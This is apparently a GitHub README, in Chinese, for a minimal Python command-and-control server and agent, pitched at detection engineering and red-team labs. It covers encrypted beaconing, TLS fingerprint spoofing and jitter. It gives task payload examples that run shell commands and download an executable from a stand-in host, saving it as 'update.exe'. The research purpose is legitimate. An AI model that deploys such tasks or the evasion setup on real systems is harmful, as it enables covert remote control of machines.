mejq/C2-Server
GitHub: mejq/C2-Server
用于安全研究和检测工程的最小化 Python C2 框架,帮助理解加密通信、TLS 指纹伪装和 Beacon 定时对检测的影响。
Stars: 1 | Forks: 0
# Python 命令控制 C2 服务器
一个用于 **安全研究、恶意软件分析实验室和检测工程实验** 的最小化命令控制 (C2) 框架。
本项目旨在帮助蓝队和红队成员理解:
- 现代 C2 流量的特征
- 哪些行为会触发检测
- TLS 指纹和 Beacon 定时如何影响网络可见性
## 研究导向功能
- 加密 C2 通信 (Fernet / AES)
- TLS 指纹伪装 (curl_cffi)
- 带有抖动 (Jitter) 的基于时间的 Beacon 间隔
- 用于实验室模拟的简单任务机制
- 用于行为追踪的 Agent 身份持久化
## 项目初衷
此框架是作为 **学习和研究工具** 创建的,并非生产级恶意软件平台。
主要目标:
- 研究 C2 通信模式
- 试验 TLS 指纹伪装
- 分析 Beacon 定时和抖动
- 在受控实验室环境中构建检测规则
## 检测与防御说明
本项目可用于:
- 生成用于 IDS/IPS 测试的样本加密 C2 流量
- 构建 SIEM 和 EDR 检测规则
- 分析基于 TLS JA3 / 指纹的检测策略
- 观察 Beacon 抖动如何影响基于异常的检测
- 比较可预测与随机 Beacon 间隔
## 项目结构
```
.
├── C2.py # The C2 Server (Flask)
├── Agent.py # The Client Agent
├── Encryption.py # Shared encryption logic
├── .env # Environment file for keys
└── tasks.json # (Auto-generated) Stores pending tasks
└── agents.json # (Auto-generated) Stores agent info
```
## 环境要求
你需要 Python 3.8+ 以及以下库:
```
pip install flask curl-cffi cryptography python-dotenv request
```
## 安装与配置
### 1. 生成加密密钥
你必须生成一个 Fernet 密钥并将其保存在 `.env` 文件中。服务器和 Agent 都需要访问此逻辑/密钥才能进行通信。
在 Python 中运行以下代码以获取密钥:
```
from cryptography.fernet import Fernet
print(Fernet.generate_key().decode())
```
在根目录下创建一个 `.env` 文件:
```
FERNET_KEY=YOUR_GENERATED_KEY_HERE
```
### 2. 配置 Agent
打开 `agent.py` 并修改 `SERVER` 变量(如果你不是在本地运行):
```
SERVER = 'http://127.0.0.1:5000'
# 更改为你的 C2 IP/Domain
```
## 使用方法
### 1. 启动服务器
```
python server.py
```
服务器将监听 `0.0.0.0:5000`。
### 2. 启动 Agent
```
python agent.py
```
Agent 将向服务器注册,并根据休眠间隔开始 Beacon 通信。
### 3. 任务队列(如何控制 Agent)
目前,任务通过 `/api/push_task` 端点推送。你可以使用 `curl` 或 Postman 将命令加入队列。
**示例:先加密你的任务载荷**
_注意:由于服务器期望接收加密的 JSON,你需要一个小的辅助脚本在通过 curl 发送命令之前对其进行加密,或者扩展服务器以接受来自管理接口的纯文本。_
**任务类型:**
1. **Shell 命令:**
`{"type": "shell", "command": "whoami"}`
2. **下载:**
`{"type": "download", "url": "http://site.com/file.exe", "save_as": "update.exe"}`
3. **更新休眠时间:**
`{"type": "sleep", "min": 5, "max": 10}`
## 免责声明
本项目仅用于:
- 教育目的
- 恶意软件分析实验室
- 授权的安全研究
请勿在你未拥有或未获得明确测试许可的环境之外部署此框架。
标签:AES加密, Beacon, C2框架, DAST, EDR规则, Fernet, Flask, IDS测试, IP 地址批量处理, JA3模拟, Python, Radare2, SIEM规则, TLS指纹, 后端开发, 命令与控制, 安全学习资源, 安全教育, 实验环境, 恶意软件分析, 抖动, 数据展示, 无后门, 模拟威胁, 流量加密, 流量检测, 红队, 网络安全, 逆向工具, 隐私保护